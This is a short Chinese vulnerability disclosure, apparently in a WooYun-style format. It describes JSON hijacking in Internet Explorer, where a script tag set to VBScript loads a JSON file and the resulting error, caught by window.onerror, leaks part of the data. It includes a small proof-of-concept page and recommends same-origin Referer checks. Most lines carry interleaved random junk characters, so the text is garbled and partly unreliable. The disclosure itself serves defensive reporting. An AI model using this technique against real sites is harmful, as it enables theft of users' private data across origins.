简要描述:7 M# Q$ V1 N% y' A6 C
2 d" ?3 |3 m/ }1 _/ a
由于某些资源容器对数据处理不当导致json劫持漏洞.
: S& ^/ n& `4 ^# y5 l3 m详细说明:/ A; y- Z1 c! L3 f. m) o
由于ie支持vbscript,所以script元素可以指定成vbscript语言:; W2 v2 J3 l! B9 C3 _
<script language=vbscript></script>0 ~& Z! N r2 O7 l
8 m+ H# L1 E, o6 m/ [( u0 p( Q- p& S当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.+ A9 a! B7 W; x: n1 ]5 p
漏洞证明:5 \! d. b( M& z- }& A# P. M
<script>
* h) e3 G1 l( L4 j# i* o) @7 gwindow.onerror=function(_){1 ~4 O' A% B5 W9 r" i! n
alert(_)
: z2 s5 B" ?9 ^$ i}4 |' u x. n2 r+ w$ }. [
</script>; `8 @: ]( L6 v
<script language=vbscript src=1.json></script> T+ w5 a; d! Z( j; U
c0 U6 c/ W) M2 e
3 M" C& C$ K) q7 v7 O- w! }! x- v$ i) Z
1.json:9 u: m: W! \/ E( t% A9 r
[{"name":"sogili","age":19}]
7 A+ S0 @! |( Y& M8 k" o修复方案:. J% {9 X, J$ h a, ?- z* _: S
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |